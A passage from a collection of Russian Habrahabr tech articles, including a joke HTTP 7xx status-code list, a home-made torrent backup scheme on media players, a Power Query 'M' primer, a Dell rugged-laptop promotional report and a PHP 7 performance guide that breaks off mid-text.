функционального программирования проще осознать, используя чистый функциональный язык, не имея возможности в случае проблем по-быстрому написать что-то не так. И потом, даже если продолжать работать только с JavaScript — можно переносить и использовать новые идеи, и понимать пользу использования в JS функционального подхода в общем и, например, таких библиотек как FlowType , immutable.js , Ramda .
https://habrahabr.ru/post/314050/
habrahabr
Прототип RFC HTTP-кодов состояния для ошибок разработчиков (диапазон 7XX)
['http', 'http заголовки']
Ребята с Railscamp пришли к выводу, что текущая спецификация HTTP неполна: ибо у разработчиков есть много способов «прострелить себе ногу» в коде, но нет никакого формализованного способа, чтобы...
Ребята с Railscamp пришли к выводу, что текущая спецификация HTTP неполна: ибо у разработчиков есть много способов «прострелить себе ногу» в коде, но нет никакого формализованного способа, чтобы сообщить природу ошибки конечному пользователю :) Был предложен RFC со следующими кодами состояния (HTTP status codes), сообщающими о причинах ошибки. Предполагается, что эти коды будут включены в спецификации HTTP в диапазоне 7xx. Коды занимают весь диапазон от 701 до 799 и поделены на 10 групп. Вот некоторые из них: 707 — Can't quit vi 724 — This line should be unreachable 725 — It works on my machine 726 — It's a feature, not a bug 735 — Fucking IE 767 — Drunk 780 — Project owner not responding Все коды доступны здесь . Приятного чтения! P.S. Это шутка. Ваш кэп.
https://habrahabr.ru/post/318054/
habrahabr
«Корпоративный» бэкап даром (на сеть домашних медиаплееров)
['бэкап', 'NAS', 'голь на выдумки хитра', 'лайф-хак небольшой фирмы', 'выживанцу в подарок']
Хочу поделиться с сообществом забавным опытом организации бэкапа на примерно вот таких штуках Че... Три года назад небольшая производственная фирма — сто человек, полста компов, треть из которых...
Хочу поделиться с сообществом забавным опытом организации бэкапа на примерно вот таких штуках Че... Три года назад небольшая производственная фирма — сто человек, полста компов, треть из которых — это разного рода ЧПУ-оборудование (плоттеры, куттеры, big-принтеры, фрезеры, лазеры), выживающая на рынке, где все всех знают, озаботилась сохранностью данных «от сглаза». Беглый Гугл оконтурил минимальную цену: «год зарплаты не видать» (работникам, а директору — новой машины). Привычно заработала мысль: «а нельзя ли словчить схитрить выкрутиться выкроить без попадалова?» Оценили размер данных — сотня мег в день, редко когда гиг накапливается. Готовый проект идущий в тираж — где-то десять Гб всяких файлов, неск. раз в месяц — там всё: и чертежи в САD-ах и pdf, и непосредственно программы для станков в g-кодах, и разные технологические карты, спецификации с конкретными артикулами поставщиков, диаграммы Ганта, критпути, переписка с согласованием, фото контрольного экземпляра… вплоть до «собирать вначале левую, ибо наоборот будет несподручно (мелкий винтик левой рукой ловить)» (всё, что относится к каждому конкретному проекту у нас в одном месте собирается)… Да даже 10Г в день — это хоть на флешке носи, но нужно полностью «самоработающее» решение, потому что знаем-знаем: забыл, отдал, запил… с концами. Люди делятся на тех, кто гребёт и тех, у кого заряжен револьвер. Есть две ипостаси сохранности данных: от их неправедных — погибели и размножения. Ввиду особенностей рынка, где все всех знают — база контактов и цен включая стоимости контрактов — по сути открыты (тендеры и т.п.) т.е. «убегание данных» вместе с менеджером — не опасно и самой фирмы, (не то что бы совсем уж семейный бизнес, но что-то вроде — люди работают вместе уже по 10-15 лет, почти все поприводили своих детей работать — соотв. все боль-менее понимают, что всякая крупная закупка — она из фонда зарплаты деньги берёт, ибо больше неоткуда. Нет-нет, никак не демократия, но и потребительского отношения к «бюджету» типа «дайте мне хороший комп и зарплату и тогда я выдам результат» — нет и в помине) (Давно было) Дизайнер гнул пальцы – мол, комп тормозит… попросили его выдать спецификацию того, что ему, как он считает, для работы в самый раз. Он выдал, попутно зло поругавшись с админом. Не проблема — ты специалист, тебе решать, вот тебе 120т.р. налом, купи себе комп, какой считаешь нужным. Осенью. Под НГ провели аудит железа и, конечно же, — комп в реале оказался не на 120тыр, а и до 50 недотягивал. Предъявили, попросили разницу вернуть в кассу. Вернул. Работает, ибо дизайнер он, в общем, отличный, тендеры выигрывает и пальцев больше не гнёт — настройки v-ray-я изучил и не жужжит, ибо не только в попугаях в крутизне компа дело.) … уяснили себе, что нас волнует первая ипостась — порча, утрата данных из-за криптолокеров или физических повреждений/кражи/изъятия компов, в т.ч. силовиками разной степени легальности. Важная особенность: на фирме нет IT-шников. Только «админ приходящий» на полставки – и он не ах, как специалист, но зато честный и доверенный-проверенный (поэтому Шеф категорически не хочет даже обсуждать его замену, хотя втыки ему делает за косяки регулярно). Полсотни суровых технарей с автокадом-солидом и прекрасными инженерными скиллами — понятное дело в плане ИБ как дети малые, увы, даже у нас пересылка файла почтой через Америку или флешкой в кармане из комнаты в комнату, при наличии сети, не часто, но случается. Поэтому были отвергнуты и всяческие «облака» – там даже просто разобраться, если что вдруг не так – чёрт ногу сломит, пришлют ссыль на обновлённую ЕULA и гуд бай. В итоге Сделали так — купили остатки партии медиаплееров на 1273-м реалтековском чипсете — по пятьсот рублей штука . (Да, зависон товара — жёсткая вещь в мире хай-тека. Новые, в коробках, полная комплектация. Краток век иногда бывает у отличных, в общем-то вещей, хотя пора бы и привыкнуть.) Установили несколько из них по домам-дачам. На каждую накатили mo-services , и торрент-качалку. Эта прошивка превращает медиаплеер в нормальную линукс-машинку, с консолью, телнетом, кроном и проч., и умеет отключать по ненадобности всю медиа-составляющую чипсета и даже GUI). Медиаплееры оказались даже двухдисковыми (второй SATA можно подрубить снаружи проводом), ну и пара USB (в который можно воткнуть, кстати, такой же медиаплеер — и так цепочкой их хоть все. Правда закольцевать, жаль не попробовали.) Настроено и работает так: сервер занимается бэкапами — отдельный кейс как и что. результаты этих бэкапов он выкладывает в виде rar- и 7z- файлов в каталожек торрент-качалки и обновляет торрент-файл. Все эти домашние медиаплееры, во сколько-то, все одновременно просыпаются, обновляют торрент-файл и скачивают с сервера (и друг с друга) всё, что в том файле прописано. закачав и чуток постояв на раздаче на случай неожиданной разницы сезонных времён — засыпают. Таким образом свежий актуальный бэкап хранится сразу в нескольких экземплярах в десятке, физически удалённых друг от друга мест. Что важно — ко всем этим местам у фирмы есть полный физический доступ, пусть и не мгновенный. Любого одного из них — достаточно, что бы фирма, при потере всех файлов и даже компьютеров — могла продолжить работу практически с точки останова. Все они (когда не спят) доступны по http и телнету, на сервере виден лог пиров-сидеров по каждому файлу, в общем, можно это даже кое-как админить с дивана из дому). Понятно, что медиаплееры — уязвимы, что вскрыв один – видны все остальные и не проблема дотянуться до них физически или по удалёнке, ибо навернуть безопасность домашнему пользователю не так-то просто — бытовой роутер и бытовой медиаплеер в руках не-IT-безопасника — не самые защищённые устройства. Но хоть какая-то децентрализация. Так же это некая защита от криптолокеров, от которых, по слухам, обычные антивирусы не спасают, и это реально страшновато. Очень важным моментом является то, что эти медиаплееры, в отличие от довольно массовых на тот момент двух/трёх-дисковых NAS спокойно переваривают NTFS, как сразу из коробки, так и после наката альтернативной прошивки — диск из неё при необходимости тупо втыкается в любую виндовую машинку и там на нём — нормальные понятные каталоги. Ещё важнее то, что они — не портят данные на вновь вставляемых дисках — эти «коробочки» подцепляют диски уже с данными без каких-либо переформатирований, переразбивок разделов или т.п. неожиданных чудес. В общем всех расходов в конце концов оказалось — по сути только винчестеры. В общем, вот такой вот лайф-хак, если вдруг кому понравится — пользуйтесь, такой бэкап всяко лучше, чем никакого. Господа из Акрониса, вы для нас — примерно как океанский сейнер для рыбака с удочкой — решения по цене и сложности (освоения) где-то из параллельной вселенной. p.s.: Прошу прощения за вульгарное «комп» вместо «компьютер», но уж больно длинная форма длинна.
https://habrahabr.ru/post/318052/
habrahabr
Преобразование формы представления данных при помощи Excel+PowerQuery
['power query', 'M', 'excel', 'функциональное программирование', 'личная эффективность']
В нашем менеджерском труде есть много хорошего и не очень. Но ничто не портит нам жизнь так, как многочисленные эксельки, в которых постоянно нужно что-то ВПР-ить, СУММ-ировать, СУММПРОИЗВ-одить...
В нашем менеджерском труде есть много хорошего и не очень. Но ничто не портит нам жизнь так, как многочисленные эксельки, в которых постоянно нужно что-то ВПР-ить, СУММ-ировать, СУММПРОИЗВ-одить и заниматься прочими рутинными операциями, отнимающими кучу времени и сил. Есть инструмент, позволяющий если не убрать, то минимизировать рутину везде, где есть паттерны данных. Итак, вашему вниманию предлагается чуть более глубокое погружение в принципы работы PowerQuery. Сразу же хочу сориентировать по поводу того, что уже есть на Хабре по данной теме: https://habrahabr.ru/post/271019/ — Отличный обзор возможностей PowerQuery для новичков. Даёт представление об инструменте на примерах. Если вы никогда не использовали PowerQuery, то начать, наверное, стоит с этой статьи. Автор введёт в курс дела. https://habrahabr.ru/post/311600/ — Погружение в функции языка «M» на примере локализации списка месяцев. Автор кратко коснулся мощнейшей функции List.Accumulate описание которой заслуживает отдельного материала на Хабре. В качестве тизера к такой публикации, могу сказать, что List.Accumulate принимает на вход абсолютно любой тип аргументов. https://habrahabr.ru/post/274615/ — Краткий обзор возможностей PowerQuery по получению данных из баз SQL. Для новичков Что такое Power Query (PQ) Дабы не повторять уже сказанное в материалах, ссылки на которые указаны выше, буду краток: Power Query — это инструмент для преобразования формы представления любых логически организованных данных. То есть на входе может быть любая каша, но в которой есть хоть какая-то логика. А на выходе — таблица. По мнению некоторых экспертов , PQ является ETL инструментом. То есть служит для Extract – извлечения, Transform – преобразования и Load – выгрузки данных. По опыту, данная работа занимает до 60% рабочего времени, например, менеджера по контекстной рекламе и до 90% времени аналитика. Важная особенность данной работы состоит в том, что её, как правило, нужно повторять изо дня в день, неделю за неделей. Бесконечно переносить данные, копипастить, вычислять. Для особо тяжёлых случаев программисты пишут решение, в котором всё это делается автоматически. Проблема состоит в том, что решения дороги, а программисты почти всегда заняты более насущными вопросами, чем автоматизация рутинных операций менеджера. PQ позволяет решить указанные трудности: Автоматически вытащить данные почти откуда угодно Преобразовать данные в соответствии с заранее созданной моделью, без необходимости заново повторять одни и те же действия вручную Представить полученные данные в том виде (видах), которые необходимы Сразу же давайте дифференцируем Power Query и очень похожий на него инструмент Power BI. Итак, Power Query служит для преобразования данных, как правило, в удобный нам табличный вид, с которым мы далее работаем в Excel. Power BI предназначен для преобразования данных и перевода их в форму графиков и другие обобщённые представления (например, сводные таблицы). Power BI и Power Query используют один и тот же язык «M» для преобразования данных. То есть код языка «M» может быть почти дословно перенесён копипастом из PQ в Power BI и обратно. Почти, потому что в PQ могут быть специфические конструкции для обращения к книге Excel, или именованным диапазонам ячеек, что, понятное дело, неприменимо для Power BI. На сегодняшний день Power Query доступен только для MS Excel, работающего под ОС Windows. До Excel 2013 включительно, распространялся в виде подключаемого модуля . Начиная с Excel 2016 стал встроенным. Методы преобразования данных «кнопками» подробно разобраны в статьях указанных выше, особенно в первой. Далее статья будет несколько сложновата для новичков, поскольку мы разбираем подноготную, а конкретно то, что можно увидеть при нажатии на кнопку «Расширенный редактор» в редакторе запросов. Кнопка «Расширенный редактор» Как устроен язык «M» Важно всегда иметь в виду, что конструкция let …. in … является просто “ syntactic sugar ”. let по факту представляет из себя запись с множеством пар вида «имя=значение», а in это просто ссылка на некоторое значение в этой записи (причём не обязательно последнее). Сложновато. Но давайте попробуем разобраться. В языке «M» есть следующие типы значений: Примитивные типы (Null, Logical, Number, Text, Date, Time, DateTime, DateTimeZone, Duration): «строка», 14, false, #date(2013,3,8) и т.д. Список (List) – последовательность значений: Источник = {1,2,3, «hi»} Запись (Record) – пара (или набор пар) вида: [ a = 1, b = {1,2,3}, c = true] Таблица (Table) – конструкция, включающая в себя список колонок и список записей: #table( {«Col1», «Col2»}, { {1, 2}, {3, 4} } ) Функция (Function) – конструкция вида: MyFunction = (x, y, optional z) => if z = null then x+y else (x+y) / z Тип (Type) – для классифицирования других значений. Подробнее об этом типе см. спецификацию языка “M” Бинарный (Binary) : #binary( {0x68, 0x65, 0x6C} ) Таким образом, следующая конструкция: Абсолютна идентична этой: [X=2,Y=X+3][Y] Вычисления происходят на базе значений, полученных в результате предыдущих действий. Чем-то это напоминает цепочку формул Excel: A1=A2+A3 A2=A3+2 A3=5 В случае с PQ обращение идёт не к ячейкам, а к значениям. Выражения, которые входят в запись или список, вычисляются методом «ленивых» вычислений. То есть пока мы прямо не сошлёмся на значение, получаемое в результате выполнения некоторого выражения, оно не будет выполнено. Коротко о секциях PQ использует концепцию секций. Секция – создает область видимости. Это чем-то похоже на $scope в Angular. Имеется внутренняя переменная #sections, которая возвращает все доступные секции. Все действия, которые выполняются в документе, относятся к одной единственной секции: Section1. При этом невозможно создать ещё одну секцию, например, Section2. Однако, мы можем обратиться к элементам других секций с помощью переменной #shared. Данная переменная адресует к записи содержащей все элементы, которые мы можем видеть: созданные нами, а также доступные нам типы, константы, функции. Таким образом, нам нет необходимости каждый раз лезть в справочник по языку «M», чтобы вспомнить как называется та или иная функция. Достаточно обратиться к переменной #shared. При клике по пустому полю вокруг названия каждой функции, мы можем видеть её описание внизу экрана. Значение переменной #shared. Можно посмотреть экспресс-справку по встроенной функции В заключении хотелось бы напомнить, что любые, даже самые сложные конструкции языка «M» по своей сути состоят из типов, указанных выше. В подавляющем большинстве случаев, это записи и списки, плюс немного встроенных функций для преобразований. Чтобы было проще ориентироваться в многообразии доступного функционала, приведу несколько полезных ссылок, которыми сам пользуюсь регулярно. Полезные ссылки Power Query Formula Language Specification (August 2015).pdf Power Query (informally known as «M») Formula reference Power Query Training – ресурс с кучей бесплатных примеров и трюков. Есть как бесплатные, так и платные уроки Language file Notepad++ для подсветки синтаксиса языка «M» Репозиторий гуру Power Query Макса Зеленского на Github с кучей готовых функций на языке «M» — Макс разработал алгоритм, который сам подгружает нужные вам для работы функции. См. Readme.md
https://habrahabr.ru/post/318058/
habrahabr
Защищенный Dell
['Dell', 'ноутбуки']
В то время как на большей части территории России установился минус, самое время мысленно перенестись на родину Dell, в штат Техас, где сейчас уверенные + 20 C°. Правда, озёрную гладь и гидроциклы...
В то время как на большей части территории России установился минус, самое время мысленно перенестись на родину Dell, в штат Техас, где сейчас уверенные + 20 C°. Правда, озёрную гладь и гидроциклы мы решили опубликовать не только в мечтах о лете: всё внимание — на защищенные компьютеры Dell Latitude Rugged. Впечатлениями делятся эксперты портала RuggedPCReview. «Компания Dell хорошо известна в мире как один из трех ведущих вендоров ПК: ежегодно она поставляет десятки миллионов персональных компьютеров. Наделала шума и недавняя покупка EMC: это крупнейшая сделка на рынке ИТ. Возможно, менее известно то, что Dell выпускает защищенные ноутбуки, трансформеры и планшеты: например, Latitude 12 и 14 Rugged Extreme, Latitude 14 Rugged и Latitude 12 Rugged Tablet. В Остин — столицу Техаса, крупный центр высоких технологий и мировую столицу живой музыки — мы, журналисты RuggedPCReview, приехали специально ради защищенной линейки Dell. Обычно презентации своих важных новинок компании проводят в хорошо кондиционируемых конференц-залах. Поэтому организованная Dell поездка на озеро Тревис — живописный водоем в окрестностях Остина, питаемый рекой Колорадо, — стала запоминающимся исключением. Берега острова Старнс, который находится в середине озера Тревис, стали местом больших полевых испытаний для защищенных ноутбуков и планшетов Dell. Добравшись туда, мы подкрепились сэндвичами и наконец занялись делом. Степень защиты устройств Dell полностью соответствует классу IP65. Они неуязвимы для пыли и их можно обливать со всех сторон струей воды. Работа в пыли и грязи с такими устройствами — не проблема. Даже если кто-то случайно уронит защищенный ноутбук Dell за борт, он все равно будет работать. Игры в грязи и бросание ноутбуков, однако, не были главным элементом шоу — им были гидроциклы. В нашем распоряжении оказались две двухместные машины, но не только ради нашего удовольствия. Специалисты из CartoPac, компании-партнера Dell, прикрепили на гидроциклы защищенные планшеты Dell со специальным программным обеспечением. Специализация CartoPac — услуги по инсталляции и поддержке оборудования в полевых условиях. Точная регистрация местоположения, описание условий эксплуатации, инспекция, сопровождение — всё это помогает компаниям снизить риски, добиться операционной эффективности и безопасности. Программное обеспечение CartoPac для позиционирования и отслеживания местоположения нам показал Скотт Кроуч, сооснователь CartoPac и ее CIO-CTO. И всё это — на защищенном планшете Dell, на озере, на гидроцикле. Установить на гидроцикл защищенный планшет весом 1,6 кг на процессоре Intel Broadwell — задачка не из легких, особенно когда эти гидроциклы взяты в аренду и никакого монтажного оснащения не предусматривают. Но и это не проблема. Пара метров резиновых жгутов, и планшет Dell прочно закреплен по центру руля. Куда сложнее было научить «сухопутных» аналитиков и журналистов тому, как работает гидроцикл. Здесь нет никаких тормозов и педали газа. Небольшой рычажок на правой рукоятке позволяет начать движение. Бесплатный совет: никогда не вставайте за гидроциклом, когда инструктор рассказывает новичку, как управлять газом, — вымокнете до нитки! В конце концов большинству членов нашей маленькой храброй группы удалось оседлать гидроциклы и отправиться в путь. Первое, на что мы обратили внимание при работе с защищенными устройствами Dell, — дисплеи, рассчитанные на уличное применение. Благодаря чему экран Dell так хорошо «читается» даже при ярком солнечном свете? Материал любого дисплея — это по сути сэндвич, каждый отдельный слой которого отражает попадающие на него солнечные лучи. В данном случае число слоев уменьшено, и все они максимально плотно соединены друг с другом. В сочетании с антиотражающими (AR) и антибликовыми (AG) покрытиями всё это даёт впечатляющие результаты: изображение на дисплее прекрасно видно даже без сильной подсветки, быстро сажающей батарею. Несмотря на робкие протесты нашего капитана, который с опаской воспринял нашу идею фотографировать с рук, сидя за рулем гидроцикла, мы все же сделали несколько кадров с подводной камерой Pentax в одной руке и ручкой газа в другой. На скорости больше 70 км/ч программа CartoPac и планшет Dell исправно работали и вели нас по намеченному курсу. Прекрасный день на озере — это не только удовольствие, но и уникальная возможность увидеть, как работают «в поле» технологии, которые большинство из нас использует только в офисе или видит в лаборатории. На следующий день нас ждала теоретическая часть программы: для нас открыл свои двери Международный командный центр Dell, который находится по адресу Dell Way 1 (Раунд Рок, штат Техас). Международный командный центр Dell выглядит величественно и впечатляюще, в полном соответствии со своим названием. Он обслуживает 113 млн систем, ежегодно обрабатывает 17 млн обращений, координирует свыше 500 центров снабжения более чем в 160 странах мира, оказывает поддержку в режиме 24/7 более чем на 50 языках. Когда от бесперебойной работы компьютеров Dell зависят человеческие жизни, отказы недопустимы. Следующая остановка — Технологический центр Dell. Эксперты Dell по защищенным мобильным устройствам: Дрю Мур, Уманг Патель и Патрик Сайденстикер — рассказали нам о технологиях, которые применяются в защищенных компьютерах Dell уже целое десятилетие: в различных системах ATG, XFR, а теперь в Latitude Rugged и Rugged Extreme. По словам Дрю Мура, формула успеха Dell основывается на трех принципах: 1) использование ресурсов семейства Dell Latitude с его всесторонним тестированием, большим количеством произведенных и проданных устройств, цепочкой поставок и масштабом; 2) изначально заложенная в конструкции защита с акцентом на стабильность работы, надежность и устранение всего, что может пойти не так и привести к проблемам; 3) использование ноу-хау Dell в области защиты по IP. Лучшее подтверждение правильности данного подхода — неизменно высокая удовлетворенность заказчиков и низкая частота отказов в сравнении с конкурентами по результатам независимого исследования «Технологи для бизнеса» (TBR). По соседству с Технологическим центром Dell находятся тестовые лаборатории, которые мы в RuggedPCReview нежно называем «камерой пыток». Здесь защищенные устройства бросают, поджаривают, замораживают, топят — в общем, доводят до предела их возможностей. Как отметил Дрю Мур, лаборатории были спроектированы для демонстраций, сравнительного анализа, тестирования компонентов и эмпирической оценки. Собственные лаборатории для внутреннего тестирования помогают выявить потенциальные недостатки и проблемные места устройств еще на этапе проектирования, а не постфактум. Фактические тесты MIL-STD, IEC, а также сертификацию проводят независимые лаборатории. Оборудование в лабораториях Dell позволяет в качестве тестов бросать устройства, обдавать их напором воды, испытывать прочность шарнирных сочленений, задавать экстремальные температурные условия, нагнетать пыль. Теперь понятно, что по сравнению с программой лабораторных тестов для защищенных планшетов Dell наша поездка на озеро — всего лишь увеселительная прогулка. Компания Dell выделяет огромные ресурсы для создания защищенных компьютеров, и результаты нас впечатлили».
https://geektimes.ru/company/dell/blog/283872/
habrahabr
Улучшение производительности PHP 7
['php', 'оптимизация', 'никто не читает теги']
PHP — это программное обеспечение, написанное на языке С. Кодовая база PHP содержит около 800 тысяч строк кода и в седьмой версии была существенно переработана. В этой статье мы рассмотрим,...
PHP — это программное обеспечение, написанное на языке С. Кодовая база PHP содержит около 800 тысяч строк кода и в седьмой версии была существенно переработана. В этой статье мы рассмотрим, что изменилось в движке Zend седьмой версии по сравнению с пятой, а также разберёмся, как можно эффективно использовать внутренние оптимизации. В качестве исходной точки возьмём PHP 5.6. Зачастую многое зависит от того, как те или иные вещи написаны и представлены движку. При написании критически важного кода необходимо уделять внимание его производительности. Изменив несколько мелочей, вы можете сильно ускорить работу движка, зачастую без ущерба для других аспектов вроде читабельности кода или управления отладкой. Свои рассуждения я докажу с помощью профилировщика Blackfire. Если вы хотите повысить производительность PHP, мигрировав на седьмую версию, то вам нужно будет: Мигрировать кодовую базу без внесения изменений в неё (или просто преобразовать её в код, совместимый с PHP 7). Этого будет достаточно для повышения скорости работы. Воспользоваться нижеприведёнными советами, чтобы понять, как изменились разные части кода виртуальной машины PHP и как их использовать для ещё большего увеличения производительности. Упакованные массивы Упакованные массивы — первая из замечательных оптимизаций в PHP 7. Они потребляют меньше памяти и во многих случаях работают гораздо быстрее традиционных массивов. Упакованные массивы должны удовлетворять критериям: Ключи — только целочисленные значения; Ключи вставляются в массив только по возрастанию. Пример 1: $a = ['foo', 'bar', 'baz']; Пример 2: $a = [12 => 'baz', 42 => 'bar', 67 => [] ]; Эти массивы внутренне очень хорошо оптимизированы. Но очевидно, что на трёхъячеечном массиве вы не почувствуете разницы по сравнению с PHP 5. К примеру, во фреймворке Symfony упакованные массивы существуют только в генераторе карты классов (class map generator), создающем код наподобие: array ( 0 => 'Symfony\\Bundle\\FrameworkBundle\\EventListener\\SessionListener', 1 => 'Symfony\\Component\\HttpFoundation\\Session\\Storage\\NativeSessionStorage', 2 => 'Symfony\\Component\\HttpFoundation\\Session\\Storage\\PhpBridgeSessionStorage', 3 => 'Symfony\\Component\\HttpFoundation\\Session\\Storage\\Handler\\NativeFileSessionHandler', 4 => 'Symfony\\Component\\HttpFoundation\\Session\\Storage\\Proxy\\AbstractProxy', 5 => 'Symfony\\Component\\HttpFoundation\\Session\\Storage\\Proxy\\SessionHandlerProxy', 6 => 'Symfony\\Component\\HttpFoundation\\Session\\Session', /* ... */ Если выполнить этот код на PHP 5 и PHP 7 и проанализировать с помощью Blackfire, то получим: Как видите, общая продолжительность компилирования и выполнения этого объявления массива уменьшилась примерно на 72 %. В PHP 7 такие массивы становятся похожими на NOP’ы, а в PHP 5 заметное время тратится на компилирование и на загрузку в ходе runtime. Давайте возьмём массив побольше, на 10 000 ячеек: for ($i=0; $i<10000; $i++) { $a[] = $i; } То же самое сравнение: Продолжительность использования процессора снизилась примерно в 10 раз, а потребление памяти уменьшилось с 3 Мб до 0,5 Мб. Команда разработчиков PHP много сил потратила на оптимизацию массивов, потому что массивы — одна из главных структур, на которой базируется язык (вторая по значению структура — объекты, внутренне реализованные по той же модели). Потребление памяти массивами в PHP 7 гораздо ниже, чем в PHP 5. А при использовании упакованных массивов экономия ещё выше. Не забывайте: Если вам нужен список, то не используйте строки в ключах (это не даст применять оптимизацию упакованных массивов); Если ключи в списке только целочисленные, постарайтесь распределить их по возрастанию (в противном случае оптимизация тоже не сработает). Такие списки можно использовать в разных частях вашего приложения: например для перечисления (как карта классов в Symfony) или для извлечения результатов из базы в определённом порядке и с числовыми данными в колонке. Это часто бывает нужно в веб-приложениях ( $pdo->query("SELECT * FROM table LIMIT 10000")->fetchAll(PDO::FETCH_NUM) ). Целочисленные и значения с плавающей запятой в PHP 7 бесплатны В PHP 7 совершенно иной способ размещения переменных в памяти. Вместо кучи они теперь хранятся в пулах стековой памяти. У этого есть побочный эффект: вы можете бесплатно повторно использовать контейнеры переменных (variable containers), память не выделяется. В PHP 5 такое невозможно, там для каждого создания/присвоения переменной нужно выделить немного памяти (что ухудшает производительность). Взгляните на этот код: for ($i=0; $i<10000; $i++) { $$i = 'foo'; } Здесь создаётся 10 000 переменных с именами от $0 до $10000 с ‘foo’ в качестве строкового значения. Конечно, при первичном создании контейнера переменной (как в нашем примере) потребляется какая-то память. Но что будет, если теперь мы повторно используем эти переменные для хранения целочисленных значений? /* ... продолжение ... */ for ($i=0; $i<10000; $i++) { $$i = 42; } Здесь мы просто повторно использовали уже размещённые в памяти переменные. В PHP 5 для этого потребовалось бы заново выделить память для всех 10 000 контейнеров, а PHP 7 просто берёт готовые и кладёт в них число 42, что никак не влияет на память. В седьмой версии использование целочисленных и значений с плавающей запятой совершенно бесплатно: память нужного размера уже выделена для самих контейнеров переменных. Посмотрим, что скажет Blackfire: В PHP 7 отказ от дополнительного обращения к памяти при изменении переменной приводит к экономии процессорных циклов во втором цикле for . В результате использование процессора уменьшается на 50 %. А присваивание целочисленного значения ещё больше снижает потребление памяти по сравнению с PHP 5. В пятой версии на размещения в памяти 10 000 целочисленных значений тратится 80 000 байтов (на платформе LP64), а также куча дополнительной памяти на аллокатор. В PHP 7 этих расходов нет. Оптимизация с помощью encapsed-строк Encapsed-строки — это значения, в которых выполняется внутреннее сканирование на наличие переменных. Они объявляются с помощью двойных кавычек, или Heredoc-синтаксиса. Алгоритм анализирует значение и отделяет переменные от строк. Например: $a = 'foo'; $b = 'bar'; $c = "Мне нравится $a и $b"; При анализе строки $c движок должен получить строку: «Мне нравится foo и bar». Этот процесс в PHP 7 также был оптимизирован. Вот что делает PHP 5: Выделяет буфер для «Мне нравится»; Выделяет буфер для «Мне нравится foo»; Добавляет (копирует в памяти) в последний буфер «Мне нравится» и “foo”, возвращает его временное содержимое; Выделяет новый буфер для «Мне нравится foo и»; Добавляет (копирует в памяти) « Мне нравится foo» и «и» в этот последний буфер и возвращает его временное содержимое; Выделяет новый буфер для «Мне нравится foo и bar»; Добавляет (копирует в памяти) «Мне нравится foo и» и “bar” в этот последний буфер и возвращает его содержимое; Освобождает все промежуточные использованные буферы; Возвращает значение последнего буфера. Много работы, верно? Такой алгоритм в PHP 5 аналогичен тому, что используется при работе со строками в С. Но дело в том, что он плохо масштабируется. Этот алгоритм не оптимален при работе с очень длинными encapsed-строками, включающими в себя большое количество переменных. А ведь encapsed-строки часто используются в PHP. В PHP 7 всё работает иначе: Создаётся стек; В него помещаются все элементы, которые нужно добавить; Когда алгоритм доходит до конца encapsed-строки, единовременно выделяется память необходимого размера, в которую перемещаются все части данных, в нужные места. Телодвижения с памятью остались, однако никакие промежуточные буферы, как в PHP 5, уже не используются. В PHP 7 лишь один раз выделяется память для финальной строки, вне зависимости от количества частей строки и переменных. Код и результат: $w = md5(rand()); $x = md5(rand()); $y = md5(rand()); $z = md5(rand()); $a = str_repeat('a', 1024); $b = str_repeat('a', 1024); for ($i=0; $i<1000; $i++) { $$i = "В этой строке много $a, а также много $b, выглядит рандомно: $w - $x - $y - $z"; } Мы создали 1000 encapsed-строк, в которых находим статичные строковые части и шесть переменных, две из которых весят по 1 Кб. Как видите, в PHP 7 использование процессора снизилось в 10 раз по сравнению с PHP 5. Обратите внимание, что с помощью Blackfire Probe API (в примере не показано) мы профилировали всего лишь цикл, а не весь скрипт. В PHP 7: $bar = 'bar'; /* используйте это */ $a = "foo и $bar"; /* вместо этого */ $a = "foo и " . $bar; Операция конкатенации не оптимизирована. Если вы используете конкатенацию строк, то в результате будете делать те же странные вещи, что и в PHP 5. А encapsed-строки помогут воспользоваться преимуществами нового алгоритма анализа, выполняющего оценочную конкатенацию (evaluated concatenation) с помощью структуры “ Rope “. Reference mismatch Reference mismatch возникает тогда, когда в качестве аргумента, передаваемого по ссылке (passed-by-ref), вы передаёте функции нессылочную переменную (non-ref variable), или наоборот. Например, так: function foo(&$arg) { } $var = 'str'; foo($var); Вы знаете, какой в этом случае творится кошмар в движке PHP 5? Если возникает несовпадение ссылки, движку приходится дуплицировать переменную, прежде чем передавать её функции в качестве аргумента. Если переменная содержит что-то большое, вроде массива на несколько тысяч записей, то копирование займёт много времени. Причина в том, как в PHP 5 построена работа с переменными и ссылками. Переходя к телу функции, движок ещё не знает, измените ли вы значение аргумента. Если измените, то передача аргумента по ссылке должна привести к отражению вовне сделанного изменения при передаче ссылочной переменной (reference variable). А если вы не измените значение аргумента (как в нашем примере)? Тогда движок должен создать ссылку из нессылочной (non-reference) переменной, которую вы передаёте в ходе вызова функции. В PHP 5 движок полностью дуплицирует содержимое переменной (при очень небольшом количестве указателей много раз вызывая memcpy() , что приводит ко множеству медленных обращений к памяти). Когда в PHP 7 движок хочет создать ссылку из нессылочной переменной, он просто оборачивает её в заново созданную бывшую ссылку (former). И никаких копирований в память. Всё дело в том, что в PHP 7 работа с переменными построена совсем иначе, а ссылки существенно переработаны. Взгляните на этот код: function bar(&$a) { $f = $a; } $var = range(1,1024); for ($i=0; $i<1000; $i++) { bar($var); } Здесь двойное несовпадение. При вызове bar() вы заставляете движок создавать ссылку из $var к $a , как говорит &$a сигнатура. Поскольку $a теперь является частью ссылочного набора (reference set) ( $var-$a ) в теле bar() , вы можете влиять на него с помощью значения $f : это другое несовпадение. Ссылка не влияет на $f , так что $a-$f-$var можно не соединять друг с другом. Однако $var-$a соединены в одну часть, а $f находится в одиночестве во второй части, пока вы не заставите движок создать копии. В PHP 7 можно довольно легко создавать переменные из ссылок и превращать их в ссылки, только в результате может происходить копирование при записи (copy-on-write). Помните, что если вы не полностью разобрались в работе ссылок в PHP (а этим могут похвастаться не так уж много человек), то лучше вообще их не использовать. Мы видели, что PHP 7 снова позволяет экономить немало ресурсов по сравнению с PHP 5. Но в наших примерах мы не касались случаев копирования при записи. Здесь всё было бы иначе, и PHP пришлось бы делать дамп памяти под нашу переменную. Однако использование PHP 7 облегчает ситуации, когда несовпадения нарочно могут не выполняться, например если вызвать count($array) , когда частью ссылки является $array . В таком случае в PHP 7 не будет дополнительных расходов, зато в PHP 5 процессор раскалится (при достаточно большом массиве, например при сборе данных из SQL-запросов). Неизменяемые массивы Концепция неизменяемых массивов появилась в PHP 7, они являются частью расширения OPCache. Неизменяемым называется массив, который заполнен неизменяемыми элементами, чьи значения не требуют вычислений и становятся известны во время компилирования: строковые значения, целочисленные, значения с плавающей запятой или содержащие всё перечисленное массивы. Короче, никаких динамических элементов и 